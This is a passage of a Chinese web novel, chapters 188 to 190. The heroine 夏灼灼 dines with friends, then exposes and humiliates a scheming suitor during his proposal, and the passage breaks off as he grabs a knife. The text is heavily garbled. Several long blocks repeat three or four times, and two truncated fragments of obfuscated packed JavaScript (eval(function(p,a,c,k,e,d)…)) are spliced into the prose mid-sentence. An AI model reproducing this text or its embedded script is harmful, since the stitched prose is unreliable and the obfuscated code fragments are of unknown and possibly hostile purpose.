上次她跟赵缇做手术,院长给她下了聘书,所以她可以在中心医院的手术室做手术。 冯太太走后,夏灼灼就打电话给院长,跟他预约了下周的手术室。 对方欣然答应。 这件事算是定下来了。 一个下午,夏灼灼都在陪夏怀征做复健。 他肯吃苦,进步神速。 现在已经不需要任何人搀扶,就能上下楼梯。 上下楼梯比走平路要难,他已经做到这一步,离彻底康复就已经不远了。 夏灼灼给夏怀征采购了一些器材。 这些专业器材能更好地帮助夏怀征做康复治疗。 器材在四点钟的时候送过来了。 夏灼灼不常在家,就教了夏管家怎么陪夏怀征做复健。 在这个时候,夏灼灼收到了甄凝发过来的短信。 她看着上面的几行字,神色严肃。 又过了半个小时,季恒打电话过来,说他来接她。 夏灼灼没拒绝。 等到四季阁的时候,太阳已经下山了。 这一次,夏灼灼拿起了“冬”的牌子。 上来的菜,就是冬季的时令菜。 夏灼灼夹了块冬笋到自己碗里。 刚入秋的季节,能吃到新鲜的冬笋,真是一件很奢侈的事。 她上次已经知道,季恒弄了几个高科技大棚,能模拟各个季节的气候。 也因此,这里有每一个季节的新鲜时令菜。 不是那种冷冻保鲜的,都是从棚里新鲜采摘的。 只是冬笋……还是太震惊夏灼灼了。 夏灼灼感慨说:“季少,你很懂生活。” 季恒笑道:“别叫这么生疏,叫我恒子。” 夏灼灼折中说:“那我叫你恒哥吧。” “也行。” 不纠结称呼后,季恒说:“我从小顽皮,就爱钻研这些七七八八。四季阁刚开始做的时候,我爸把我骂了个狗血淋头,幸好坐起来了。现在每个一线城市,都有四季阁,并且生意都很好。” 夏灼灼点头:“看出来了。两次过来,这里几乎都是满客。” 闲聊了一会儿,两人说起正事。 季恒率先开口:“阿行应该跟你说了,我是遭了我哥的算计。” 夏灼灼“嗯”了声,说:“如果我说我可以帮你对付你哥,你愿意让我帮忙吗?” 季恒愣了下,随即点头:“当然……但是你要怎么做?” “我暂时还不能告诉你,因为有件事,我还没有弄明白。但是你先听我的,在我弄清楚之前,你什么都别做。” “好,我答应你。” 聊完正事,气氛又欢快起来。 季恒不愧是司慎行的朋友,接下来的聊天,都是在说司慎行的好话。 夏灼灼偶尔接一句,并不表露明显的态度。 因为她自己都还没有给自己一个准确的答案。 她身上背负的太多了,必须得理智又理智。 结果到了后半程,司慎行本人来了。 夏灼灼并不意外。 猜到了司慎行肯定会过来。 “聊什么呢?” “说你呢!”季恒说:“我说你小时候一次考完试,躲在教室里大哭。我还以为你考砸了,结果考试结果出来,是你考了99分,第一次没考满分。可恨!简直不是人!” 司慎行不记得了。 “有这事儿吗?” “当然。” 司慎行扯了下唇,也开始揭季恒的短。 “他有一次逃学,怕被家里人抓,躲到路边的垃圾桶里……结果睡着了,一觉醒来,发现自己被垃圾车运到了垃圾场。” 夏灼灼忍俊不禁。 气氛很好,一直到晚餐结束,司慎行送她回去。 路上,夏灼灼接到了杜馨月的电话。 “后天中午,**会去我家。” 她上次已经知道,季恒弄了几个高科技大棚,能模拟各个季节的气候。 也因此,这里有每一个季节的新鲜时令菜。 不是那种冷冻保鲜的,都是从棚里新鲜采摘的。 只是冬笋……还是太震惊夏灼灼了。 夏灼灼感慨说:“季少,你很懂生活。” 季恒笑道:“别叫这么生疏,叫我恒子。” 夏灼灼折中说:“那我叫你恒哥吧。” “也行。” 不纠结称呼后,季恒说:“我从小顽皮,就爱钻研这些七七八八。四季阁刚开始做的时候,我爸把我骂了个狗血淋头,幸好坐起来了。现在每个一线城市,都有四季阁,并且生意都很好。” 夏灼灼点头:“看出来了。两次过来,这里几乎都是满客。” 闲聊了一会儿,两人说起正事。 季恒率先开口:“阿行应该跟你说了,我是遭了我哥的算计。” 夏灼灼“嗯”了声,说:“如果我说我可以帮你对付你哥,你愿意让我帮忙吗?” 季恒愣了下,随即点头:“当然……但是你要怎么做?” “我暂时还不能告诉你,因为有件事,我还没有弄明白。但是你先听我的,在我弄清楚之前,你什么都别做。” “好,我答应你。” 聊完正事,气氛又欢快起来。 季恒不愧是司慎行的朋友,接下来的聊天,都是在说司慎行的好话。 夏灼灼偶尔接一句,并不表露明显的态度。 因为她自己都还没有给自己一个准确的答案。 她身上背负的太多了,必须得理智又理智。 结果到了后半程,司慎行本人来了。 夏灼灼并不意外。 猜到了司慎行肯定会过来。 “聊什么呢?” “说你呢!”季恒说:“我说你小时候一次考完试,躲在教室里大哭。我还以为你考砸了,结果考试结果出来,是你考了99分,第一次没考满分。可恨!简直不是人!” 司慎行不记得了。 “有这事儿吗?” “当然。” 司慎行扯了下唇,也开始揭季恒的短。 “他有一次逃学,怕被家里人抓,躲到路边的垃圾桶里……结果睡着了,一觉醒来,发现自己被垃圾车运到了垃圾场。” 夏灼灼忍俊不禁。 气氛很好,一直到晚餐结束,司慎行送她回去。 路上,夏灼灼接到了杜馨月的电话。 “后天中午,**会去我家。” 她上次已经知道,季恒弄了几个高科技大棚,能模拟各个季节的气候。 也因此,这里有每一个季节的新鲜时令菜。 不是那种冷冻保鲜的,都是从棚里新鲜采摘的。 只是冬笋……还是太震惊夏灼灼了。 夏灼灼感慨说:“季少,你很懂生活。” 季恒笑道:“别叫这么生疏,叫我恒子。” 夏灼灼折中说:“那我叫你恒哥吧。” “也行。” 不纠结称呼后,季恒说:“我从小顽皮,就爱钻研这些七七八八。四季阁刚开始做的时候,我爸把我骂了个狗血淋头,幸好坐起来了。现在每个一线城市,都有四季阁,并且生意都很好。” 夏灼灼点头:“看出来了。两次过来,这里几乎都是满客。” 闲聊了一会儿,两人说起正事。 季恒率先开口:“阿行应该跟你说了,我是遭了我哥的算计。” 夏灼灼“嗯”了声,说:“如果我说我可以帮你对付你哥,你愿意让我帮忙吗?” 季恒愣了下,随即点头:“当然……但是你要怎么做?” “我暂时还不能告诉你,因为有件事,我还没有弄明白。但是你先听我的,在我弄清楚之前,你什么都别做。” “好,我答应你。” 聊完正事,气氛又欢快起来。 季恒不愧是司慎行的朋友,接下来的聊天,都是在说司慎行的好话。 夏灼灼偶尔接一句,并不表露明显的态度。 因为她自己都还没有给自己一个准确的答案。 她身上背负的太多了,必须得理智又理智。 结果到了后半程,司慎行本人来了。 夏灼灼并不意外。 猜到了司慎行肯定会过来。 “聊什么呢?” “说你呢!”季恒说:“我说你小时候一次考完试,躲在教室里大哭。我还以为你考砸了,结果考试结果出来,是你考了99分,第一次没考满分。可恨!简直不是人!” 司慎行不记得了。 “有这事儿吗?” “当然。” 司慎行扯了下唇,也开始揭季恒的短。 “他有一次逃学,怕被家里人抓,躲到路边的垃圾桶里……结果睡着了,一觉醒来,发现自己被垃圾车运到了垃圾场。” 夏灼灼忍俊不禁。 气氛很好,一直到晚餐结束,司慎行送她回去。 路上,夏灼灼接到了杜馨月的电话。 “后天中午,**会去我家。” 她上次已经知道,季恒弄了几个高科技大棚, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“他有一次逃学,怕被家里人抓,躲到路边的垃圾桶里……结果睡着了,一觉醒来,发现自己被垃圾车运到了垃圾场。” 夏灼灼忍俊不禁。 气氛很好,一直到晚餐结束,司慎行送她回去。 路上,夏灼灼接到了杜馨月的电话。 “后天中午,**会去我家。” 她上次已经知道,季恒弄了几个高科技大棚,能模拟各个季节的气候。 也因此,这里有每一个季节的新鲜时令菜。 不是那种冷冻保鲜的,都是从棚里新鲜采摘的。 只是冬笋……还是太震惊夏灼灼了。 夏灼灼感慨说:“季少,你很懂生活。” 季恒笑道:“别叫这么生疏,叫我恒子。” 夏灼灼折中说:“那我叫你恒哥吧。” “也行。” 不纠结称呼后,季恒说:“我从小顽皮,就爱钻研这些七七八八。四季阁刚开始做的时候,我爸把我骂了个狗血淋头,幸好坐起来了。现在每个一线城市,都有四季阁,并且生意都很好。” 夏灼灼点头:“看出来了。两次过来,这里几乎都是满客。” 闲聊了一会儿,两人说起正事。 季恒率先开口:“阿行应该跟你说了,我是遭了我哥的算计。” 夏灼灼“嗯”了声,说:“如果我说我可以帮你对付你哥,你愿意让我帮忙吗?” 季恒愣了下,随即点头:“当然……但是你要怎么做?” “我暂时还不能告诉你,因为有件事,我还没有弄明白。但是你先听我的,在我弄清楚之前,你什么都别做。” “好,我答应你。” 聊完正事,气氛又欢快起来。 季恒不愧是司慎行的朋友,接下来的聊天,都是在说司慎行的好话。 夏灼灼偶尔接一句,并不表露明显的态度。 因为她自己都还没有给自己一个准确的答案。 她身上背负的太多了,必须得理智又理智。 结果到了后半程,司慎行本人来了。 夏灼灼并不意外。 猜到了司慎行肯定会过来。 “聊什么呢?” “说你呢!”季恒说:“我说你小时候一次考完试,躲在教室里大哭。我还以为你考砸了,结果考试结果出来,是你考了99分,第一次没考满分。可恨!简直不是人!” 司慎行不记得了。 “有这事儿吗?” “当然。” 司慎行扯了下唇,也开始揭季恒的短。 “他有一次逃学,怕被家里人抓,躲到路边的垃圾桶里……结果睡着了,一觉醒来,发现自己被垃圾车运到了垃圾场。” 夏灼灼忍俊不禁。 气氛很好,一直到晚餐结束,司慎行送她回去。 路上,夏灼灼接到了杜馨月的电话。 “后天中午,**会去我家。” 她上次已经知道,季恒弄了几个高科技大棚,能模拟各个季节的气候。 也因此,这里有每一个季节的新鲜时令菜。 不是那种冷冻保鲜的,都是从棚里新鲜采摘的。 只是冬笋……还是太震惊夏灼灼了。 夏灼灼感慨说:“季少,你很懂生活。” 季恒笑道:“别叫这么生疏,叫我恒子。” 夏灼灼折中说:“那我叫你恒哥吧。” “也行。” 不纠结称呼后,季恒说:“我从小顽皮,就爱钻研这些七七八八。四季阁刚开始做的时候,我爸把我骂了个狗血淋头,幸好坐起来了。现在每个一线城市,都有四季阁,并且生意都很好。” 夏灼灼点头:“看出来了。两次过来,这里几乎都是满客。” 闲聊了一会儿,两人说起正事。 季恒率先开口:“阿行应该跟你说了,我是遭了我哥的算计。” 夏灼灼“嗯”了声,说:“如果我说我可以帮你对付你哥,你愿意让我帮忙吗?” 季恒愣了下,随即点头:“当然……但是你要怎么做?” “我暂时还不能告诉你,因为有件事,我还没有弄明白。但是你先听我的,在我弄清楚之前,你什么都别做。” “好,我答应你。” 聊完正事,气氛又欢快起来。 季恒不愧是司慎行的朋友,接下来的聊天,都是在说司慎行的好话。 夏灼灼偶尔接一句,并不表露明显的态度。 因为她自己都还没有给自己一个准确的答案。 她身上背负的太多了,必须得理智又理智。 结果到了后半程,司慎行本人来了。 夏灼灼并不意外。 猜到了司慎行肯定会过来。 “聊什么呢?” “说你呢!”季恒说:“我说你小时候一次考完试,躲在教室里大哭。我还以为你考砸了,结果考试结果出来,是你考了99分,第一次没考满分。可恨!简直不是人!” 司慎行不记得了。 “有这事儿吗?” “当然。” 司慎行扯了下唇,也开始揭季恒的短。 “他有一次逃学,怕被家里人抓,躲到路边的垃圾桶里……结果睡着了,一觉醒来,发现自己被垃圾车运到了垃圾场。” 夏灼灼忍俊不禁。 气氛很好,一直到晚餐结束,司慎行送她回去。 路上,夏灼灼接到了杜馨月的电话。 “后天中午,**会去我家。” 第189章 我会吃醋的 夏灼灼应声。 “我这边也一切都准备好了。你记得跟你爸妈提前打个招呼。” “放心,我已经都跟他们说清楚了,他们很欣慰。” “好。” 通话结束,夏灼灼瞥见司慎行不解地望向她。 她也不解。 “你这么看着我做什么?” 司慎行确认道:“我没听错?是杜馨月的声音?” “是她。” “她之前不是一副恨不得吃了你的样子吗?现在怎么又是一起约饭,又打电话给你的?你给她什么好处了?” “我们现在已经是朋友了。” 司慎行瞠目。 夏灼灼就说:“女孩子之间的来往,有时候不一定只是许诺好处。脾气相投,真心换真心才更重要。” 司慎行点头道:“那我们男人也是这样。” “那可不一定……不过你跟季恒的确是这样。” “别老是在我面前提起其他男人,我会吃醋的。” “……” 夏灼灼不接他的话,因为知道只是玩笑话。 到夏家门口,夏灼灼开口道:“明天你能把将军给我送过来吗?” 司慎行微诧。 “你不怕了?” “我会努力克服。” 司慎行便点头说好。 “我今天回去,加急给它训练。” “也不用特意训,已经训的很好了。” “好。” …… 到第二天。 夏灼灼让蚊子给夏怀乐安排了一场直播。 直播没什么特别多的内容,就是跟粉丝聊聊天。 聊多了,夏怀乐就提起了自己的妹妹,夸她漂亮可爱,说了很多。 而夏灼灼用**,给**和柳月茹的手机都推送了这场直播。 她知道,他们一定会看。 这是给他们心里埋下一根针。 而司慎行也把“将军”送了过来。 在司慎行的授意下,将军也听夏灼灼的命令。 不得不承认,司慎行的眼光很好,将军有点灵性,虽然还只是只小狗,但很能听懂人话。 司慎行离开夏家之前,夏灼灼还让他帮忙做一件事。 …… 这天很快过去,**如约来到杜家。 去的不是杜家公馆,而是杜家老宅。 也就是夏灼灼第一次去杜家看病的地方。 老宅外头看着有 些岁月了但是里面还是金碧辉煌。 **心里有些惴惴。 他知道杜家上下除了杜馨月之外都不喜欢他。 不过能不能成也看今天。 杜馨月前天在电话里找他了说她父母又开始给她介绍相亲对象了她说:“**你能不能来我家提亲?就说我已经怀了你的孩子我爸妈一定会答应的。” **喜出望外立刻答应了。 去杜家之前他去了九珍堂。 那天去九珍堂落九针说他治不了**的脸但他研究出了一个东西叫“**”。 因为还在实验阶段所以不收**的钱。 这正好解了**的燃眉之急、 所以他今天出现在杜家是以自己原本的姣好面容出现的。 虽然算不上丰神俊逸但也是英俊清秀。 却不知道这**出自夏灼灼的手。 夏灼灼做了接近大半天的东西就是这张**。 **对自己的**很满意 买这些礼物几乎花光了他所有的积蓄。 但他不心疼因为这么做是值得的把杜馨月娶回家他那点积蓄根本算不了什么。 然而**带了礼物上门被佣人引进门之后却看到了夏灼灼。 她今天穿一身的旗袍看起来典雅美丽手里还抱着一条狗正在跟杜馨月说着什么两个人脸上都挂着笑。 **愣了好几秒才回神。 惊艳之后是心惊。 她竟然跟杜馨月聊到了一起! 她们什么时候认识的?为什么关系这么好? **很快想起来一次杜馨月去买药他看到药铺里走出来一个身影很像夏灼灼的人。 难道那天的人的确是夏灼灼? “你来了。”杜馨月抬起眼朝**看过来。 她的眼神很漠然。 **心里就咯噔了一下怀疑是夏灼灼说了什么。 不然杜馨月对他的态度怎么这么冷淡? **告诉自己不能乱。 他走上前两步对杜馨月说:“月月我们前天说的事情……” “噢。”杜馨月眼底又染上了一分笑意说:“我现在去把爸妈叫下来。” 幸好…… 杜馨月没后悔前天在电话里说的事。 **扯出笑意:“好。” 他心里松了一口气的同时又感觉很奇怪却 又说不出来哪里奇怪。 但这种奇怪,都来源于夏灼灼的出现。 所以等杜馨月上楼,**立刻来到了夏灼灼面前。 “你怎么会来这里?你想干什么? 夏灼灼轻轻笑了一声。 “这是你家吗?你能来,我不能来? “你到底想干什么? “没干什么啊。 “你跟月月都说了什么? “什么都没说。 “我不信! “信不信随你。 **恨不能掐死她! 他深吸一口气,强迫自己冷静下来。 他说:“我知道你记恨我妈,当初是她要把你卖了,我并不知情。但只要你现在离开,不捣乱,这件事,我会帮忙解决。 **把锅全都甩到了柳月茹身上。 夏灼灼心里冷笑,脸上却露出一副感兴趣的表情。 “你要怎么解决我跟**仇? “你想怎么样? “很简单,举报你妈,说她是个人贩子。 **蹙眉:“这不可能。我也会被牵连。 “你不是说你跟这件事没关系吗?既然没关系,怎么会怕被牵连?难不成你妈还会拖你一起下水不成? **知道,柳月茹不会拉他下水。 在柳月茹的心里,自己这个儿子,比她自己的命都重要。 夏灼灼不急不缓地说:“你不这么做,我不会消气。我在气头上的时候,可是什么事情都做得出来。别说毁掉一桩婚了,杀了你我也做得出来。 **攥紧手心,脑子里过了很多思绪。 其实柳月茹对他来说,也是个累赘。 之前不觉得,直到这阵子的相处,他对柳月茹越来越不耐烦。 加上……上次杜馨月来他家,直接就认定他妈是保姆,这让他更加厌恶柳月茹。 觉得自己的人生都是被柳月茹拖累的。 他深吸了一口气,答应下来。 “好,等我跟馨月结了婚,我就 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**紧了紧手心,说:“妈,你去自首吧。” 柳月茹一愣,问:“什么意思?” “你去自首吧,我这边出了点问题,你要是现在不去自首,说自己买卖人口,我这个婚事就成不了。” 柳月茹也不傻,立刻问:“是不是夏灼灼那个小**威胁你?!” **只重复一句:“妈,你去自首吧。” 柳月茹的脑子飞速运转着。 **的意思是,她只要去自首,他的婚事就能成。 只要婚事一成,儿子一定会把她从里面捞出去。 而且……就算不把她捞出去,只要儿子的婚事能成,比什么都重要。 柳月茹是个老派的女人,丈夫还在的时候,以丈夫为天。 丈夫走了,就以儿子为天。 她没有犹豫多久,直接答应了。 **的声音略有些哽咽。 “谢谢妈。” 夏灼灼看着**的脸,不知道他脸上的感动是装出来的,还是发自真心的。 但这都不重要了。 为了自己的前途,做出了让自己亲妈去自首的事,这样的人,已经跟“孝”字没关系了,甚至不算个人了。 **说:“要快,她还等着。” 这个“她”就是夏灼灼。 夏灼灼微微一笑,说:“我不着急,就是不知道你等不等得住。” **脸色铁青。 电话那头的柳月茹也听到了。 她果然没有再耽误,直接就报了警,然后出门准备自首。 却在刚走出小区的时候,就有两个警察在等着了。 柳月茹吃了一惊。 来得这么快? 她隐约感觉到不对劲。 可事情已经做了,她只能祈祷**那边一切顺利。 夏灼灼收到丁警官的消息后,心里也是有点佩服柳月茹的。 柳月茹也算是个精明人,她肯定会猜到,或许自己是在忽悠**,有可能会反悔。 但为了儿子,哪怕只有万分之一的希望,她也会去试试。 母爱,真是伟大呢。 夏灼灼眼底却很冰冷,没有一丝同情。 第190章 **,落陷阱 同情柳月茹? 除非她疯了。 先不说柳月茹以前是怎么对她的。 就说其他被拐卖来的孩子。 那些孩子就没有父母疼了吗? 柳月茹为了自己的儿子殚精竭虑,那么其他因为她而失去孩子的父母呢? 人贩子,死不足惜。 那整个村子里参与了拐卖,或者纵容拐卖的人,都死不足惜。 “我妈已经去自首了,你满意了?可以离开了吗?” **冷冷望着她。 夏灼灼同样冰冷回望。 “我说我要离开了吗?” **一噎,随即气急败坏。 “你出尔反尔?” 夏灼灼嘲讽一笑:“你心里不是也猜到我会出尔反尔吗?但你还是把让你妈去自首了,因为你心里也觉得,她会是你的累赘。你现在应该感激我,不是吗?” “你、你——” **像是被戳中了内心的隐秘,气得要跳脚。 夏灼灼却在这时候开口:“放心,我不走,但也不会多嘴。” “既然不会多嘴,为什么不走?” 当然是看他的下场啊—— 不过这话夏灼灼没说出口。 还没到开始刺激**的时候呢。 “因为我是杜太太邀请过来的客人啊,我还没见到她就走了,像什么样子?” 夏灼灼眸底含笑,**分辨不出她说的是真话,还是假话。 可不等他再说什么,杜馨月带着杜家夫妇下来了。 一同下楼的,还有杜老先生。 **连忙上去打招呼。 可三个人谁都没有看他一眼,而是纷纷热情跟夏灼灼打招呼。 杜太太是女人,跟夏灼灼更聊得来一些。 她含笑揉了揉夏灼灼怀里的“将军”,说:“这就是你说的那只小狗吧?的确可爱。” 夏灼灼现在已经不怕将军了。 昨天一天,司慎行都在给他们建立关系。 现在她已经能抱住将军了,而将军也很喜欢她抱着。 夏灼灼道:“听说您要养狗,我就把将军带过来给您看看。要是喜欢,可以推荐同家犬舍给您。” “夏小姐推荐的,一定好。我就要这家的小狗了。” “好。” **在旁边直接被无视,尴尬至极。 不过他略微松了一口气。 因为听杜太太跟夏灼灼聊天,确定夏灼灼不是为了搅黄他的 事来的。 是杜太太要养狗,这才邀请了夏灼灼带狗过来。 只是这条狗的名字……也叫将军。 跟家里那只老了之后被他杀了吃肉的小**一个名字。 他莫名感觉心里不舒服。 “咳——”杜馨月在这时候尴尬了一声。 **看过去,见杜馨月眼神示意过来,他这才再次开口:“伯父伯母,老先生,我是**……月月的男朋友。” 三个人齐齐朝他看过来,眼神无一例外,都是不欢迎他的。 **笑得更勉强了。 可他时间不多。 **深吸了一口气,说:“我今天过来,是来提亲的。” 三个人的脸色瞬间黑沉下来。 老先生更是跟夏灼灼打了个招呼之后,便直接回楼上去了。 **更尴尬了。 杜正国面无表情开口:“我的听力最近出问题了,你再说一遍,你是来干什么的?” 他的眼神带着强大的威压。 在夏灼灼面前,杜正国这种威压显示不出来。 可在**面前,这种威压就明显极了。 **有点害怕了。 可杜馨月朝他投过来鼓励的目光,他立刻坚定了信念,再次开口。 “伯父,伯母,我是过来提亲的!我跟月月情投意合,我对她是真心的,如果我跟她结了婚,以后一定更加加倍对她好。” “笑话!” 杜正国毫不掩饰自己对**轻视。 “我的宝贝女儿无论嫁给谁,谁都会对她好,谁敢对她不好?而且夫妻结婚,最基本的,不就是对彼此好吗?除了这最基础的东西,你还能给她什么?” **面色一白。 还没来得及说什么,杜正国又说:“你什么都给不了,反而是她能给你很多东西。金钱、地位、权势,你只要娶了她,就什么都能得到了。你不对她好,还能怎么样?” **嘴角抽搐。 杜正国说话,太直白了。 直白到他无法反驳。 “滚出去吧!”杜正国直接下逐客令:“我是不会把我的女儿嫁给你这种人的。” **几乎快要气炸了。 他这种人? 他是哪种人? 他有什么不好的? 他虽然生在偏僻山村,可他从小刻苦勤奋。 他是他们大山里,唯一一个飞出去的大学生。 还是名牌大学的大学生。 除了出生不好,别的地方他难道还不够优秀吗? 正要说话,夏灼灼突然“哎呀”了一声。 众人下意识看过去。 原来是夏灼灼怀里的“将军”不安分,从她怀里挣脱,往门口跑。 “拦住它!” 夏灼灼开口。 **距离大门最近。 他懒得管夏灼灼的狗。 可杜太太也开口:“**,抱住灼灼的狗!” **只好帮忙。 小狗虽然跑得快,但腿还很短,**手一捞,就把将军抱了起来。 可下一秒,小狗在他的脸上闻了闻,突然一口咬下去。 意料之中的疼痛没有到来,只是脸上突然感觉一凉。 不好! **吃了一惊,立刻把怀里的狗丢开。 可是已经晚了。 小狗扯下了他的**,叼在了嘴里。 “啊——” 屋内的人,除了夏灼灼之外,都狠狠吓了一跳。 有佣人甚至尖叫出声:“怪物啊!” **心跳飞快,下意识捂住自己的脸。 “不是、我不是怪物……” “哪来的怪物!快滚!”杜正国在这时候开口,脸上除了惊愕之外,满是厌恶。 **看到了。 他顾不上捂住自己的脸了,急忙对杜正国解释:“伯父,是我,我是**啊!我得了皮肤病,很快就会好的……” “不!怪物!你是怪物!” **的脸阵阵发白。 “我真的不是怪物……” 他急切地看向杜馨月:“月月,你说句话啊!” 杜馨月没吱声,只是定定地盯着他的脸。 **更着急了,语速飞快地说:“我的皮肤病会好的,伯父,月月怀了我的孩子。婚礼之前,我的脸一定会看好的。” “怀了你的孩子?你放屁!”杜正国骂道:“胡言乱语的神经病,快把他给我赶出去!” 佣人有点怕,一时间竟然没有动。 因为**的脸实在太吓人了。 而且看到人皮从他的脸上剥落,那过程,怕是只有恐怖片里才有。 “她真的怀了我的孩子!月月,你说句话啊!” 他把最后的希望都放在了杜馨月的身上。 可杜馨月在这时候开口:“什么怀了你的孩子?我没有怀孕。我可不会怀一个怪物的孩子。” **瞪大了眼睛。 “你前 天不是这样跟我说的……” “我前天说什么了?一个怪物,也好意思上门提亲!你算个什么东西?还以为自己配得上我?快滚!” 杜馨月声音冷厉,再不掩饰自己内心对**的厌恶。 曾几何时,她对**的确是真心的。 但这点真心,随着她查清楚了**的底细,早已经变成了厌恶。 嫁给**,她会被他们母子吸干血的。 她可不要当王宝钏。 杜太太在这时候开口:“直接报警吧!他敢污蔑月月的清白,这种人,就别在外头恶心人了。” 杜馨月点头:“报警吧!免得他再出现在我的面前。也不照镜子看看自己长什么样,配得上我吗?” “不不,月月,我的脸能好的,很快就会好的!” 他也顾不上男人的体面了,直接跪在了杜馨月面前,不停地告诉她,他爱她,他的脸也会好的。 可杜馨月捂住自己的鼻子,说:“身上一股腐尸的味道……好臭!离我远点!” **呆愣在原地。 他完全不敢置信。 他仅仅是毁了容,杜馨月就拿他当垃圾对待? 眼看着佣人已经拿起手机报警,**心里的怒火烧的有三丈高。 杜家其他人的态度已经让他不爽,现在杜馨月也这样,他最后的指望也没了。 来之前,他是高高兴兴,满心欢喜,甚至胜券在握的。 可现在形势急转直下,他跟杜馨月的未来,彻底葬送了。 他的存款都拿来买了礼物。 他妈妈,也被夏灼灼威胁着,自己去自首了。 他一无所有了。 就在这时,夏灼灼的笑声传来。 “将军,你怎么什么东西都吃?这东西吃了,可是要拉肚子的。” **倏然看向夏灼灼。 有些原本模糊的东西,现在突然清晰起来。 “夏灼灼,是你做的!对不对?我的脸,是不是也是你搞的鬼!” 夏灼灼没说话,但脸上半笑不笑的表情已经说明了一切。 就是她弄的,他能如何? 她的脸上满是挑衅。 **的怒火彻底被点燃。 他什么都没了! 马上警察过来把他抓走,他就会留下案底,以后再找工作也难。 他的人生,彻底地被毁掉了。 既然如此,他还怕什么? 这些瞧不起他的、算计害他的人,他们都该死! **的眼睛像是蒙上了一层红蜡油,彻底把他的理智蒙蔽。 他的余光瞥见茶几上有一把泛着冷芒的**,眼底顿时一亮,飞速冲了过去,拿起了那把**。 天不是这样跟我说的……” “我前天说什么了?一个怪物,也好意思上门提亲!你算个什么东西?还以为自己配得上我?快滚!” 杜馨月声音冷厉,再不掩饰自己内心对**的厌恶。 曾几何时,她对**的确是真心的。 但这点真心,随着她查清楚了**的底细,早已经变成了厌恶。 嫁给**,她会被他们母子吸干血的。 她可不要当王宝钏。 杜太太在这时候开口:“直接报警吧!他敢污蔑月月的清白,这种人,就别在外头恶心人了。” 杜馨月点头:“报警吧!免得他再出现在我的面前。也不照镜子看看自己长什么样,配得上我吗?” “不不,月月,我的脸能好的,很快就会好的!” 他也顾不上男人的体面了,直接跪在了杜馨月面前,不停地告诉她,他爱她,他的脸也会好的。 可杜馨月捂住自己的鼻子,说:“身上一股腐尸的味道……好臭!离我远点!” **呆愣在原地。 他完全不敢置信。 他仅仅是毁了容,杜馨月就拿他当垃圾对待? 眼看着佣人已经拿起手机报警,**心里的怒火烧的有三丈高。 杜家其他人的态度已经让他不爽,现在杜馨月也这样,他最后的指望也没了。 来之前,他是高高兴兴,满心欢喜,甚至胜券在握的。 可现在形势急转直下,他跟杜馨月的未来,彻底葬送了。 他的存款都拿来买了礼物。 他妈妈,也被夏灼灼威胁着,自己去自首了。 他一无所有了。 就在这时,夏灼灼的笑声传来。 “将军,你怎么什么东西都吃?这东西吃了,可是要拉肚子的。” **倏然看向夏灼灼。 有些原本模糊的东西,现在突然清晰起来。 “夏灼灼,是你做的!对不对?我的脸,是不是也是你搞的鬼!” 夏灼灼没说话,但脸上半笑不笑的表情已经说明了一切。 就是她弄的,他能如何? 她的脸上满是挑衅。 **的怒火彻底被点燃。 他什么都没了! 马上警察过来把他抓走,他就会留下案底,以后再找工作也难。 他的人生,彻底地被毁掉了。 既然如此,他还怕什么? 这些瞧不起他的、算计害他的人,他们都该死! **的眼睛像是蒙上了一层红蜡油,彻底把他的理智蒙蔽。 他的余光瞥见茶几上有一把泛着冷芒的**,眼底顿时一亮,飞速冲了过去,拿起了那把**。 天不是这样跟我说的……” “我前天说什么了?一个怪物,也好意思上门提亲!你算个什么东西?还以为自己配得上我?快滚!” 杜馨月声音冷厉,再不掩饰自己内心对**的厌恶。 曾几何时,她对**的确是真心的。 但这点真心,随着她查清楚了**的底细,早已经变成了厌恶。 嫁给**,她会被他们母子吸干血的。 她可不要当王宝钏。 杜太太在这时候开口:“直接报警吧!他敢污蔑月月的清白,这种人,就别在外头恶心人了。” 杜馨月点头:“报警吧!免得他再出现在我的面前。也不照镜子看看自己长什么样,配得上我吗?” “不不,月月,我的脸能好的,很快就会好的!” 他也顾不上男人的体面了,直接跪在了杜馨月面前,不停地告诉她,他爱她,他的脸也会好的。 可杜馨月捂住自己的鼻子,说:“身上一股腐尸的味道……好臭!离我远点!” **呆愣在原地。 他完全不敢置信。 他仅仅是毁了容,杜馨月就拿他当垃圾对待? 眼看着佣人已经拿起手机报警,**心里的怒火烧的有三丈高。 杜家其他人的态度已经让他不爽,现在杜馨月也这样,他最后的指望也没了。 来之前,他是高高兴兴,满心欢喜,甚至胜券在握的。 可现在形势急转直下,他跟杜馨月的未来,彻底葬送了。 他的存款都拿来买了礼物。 他妈妈,也被夏灼灼威胁着,自己去自首了。 他一无所有了。 就在这时,夏灼灼的笑声传来。 “将军,你怎么什么东西都吃?这东西吃了,可是要拉肚子的。” **倏然看向夏灼灼。 有些原本模糊的东西,现在突然清晰起来。 “夏灼灼,是你做的!对不对?我的脸,是不是也是你搞的鬼!” 夏灼灼没说话,但脸上半笑不笑的表情已经说明了一切。 就是她弄的,他能如何? 她的脸上满是挑衅。 **的怒火彻底被点燃。 他什么都没了! 马上警察过来把他抓走,他就会留下案底,以后再找工作也难。 他的人生,彻底地被毁掉了。 既然如此,他还怕什么? 这些瞧不起他的、算计害他的人,他们都该死! **的眼睛像是蒙上了一层红蜡油,彻底把他的理智蒙蔽。 他的余光瞥见茶几上有一把泛着冷芒的**,眼底顿时一亮,飞速冲了过去,拿起了那把**。 天不是这样跟我说的……” “我前天说什么了?一个怪物,也好意思上门提亲!你算个什么东西?还以为自己配得上我?快滚!” 杜馨月声音冷厉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“夏灼灼,是你做的!对不对?我的脸,是不是也是你搞的鬼!” 夏灼灼没说话,但脸上半笑不笑的表情已经说明了一切。 就是她弄的,他能如何? 她的脸上满是挑衅。 **的怒火彻底被点燃。 他什么都没了! 马上警察过来把他抓走,他就会留下案底,以后再找工作也难。 他的人生,彻底地被毁掉了。 既然如此,他还怕什么? 这些瞧不起他的、算计害他的人,他们都该死! **的眼睛像是蒙上了一层红蜡油,彻底把他的理智蒙蔽。 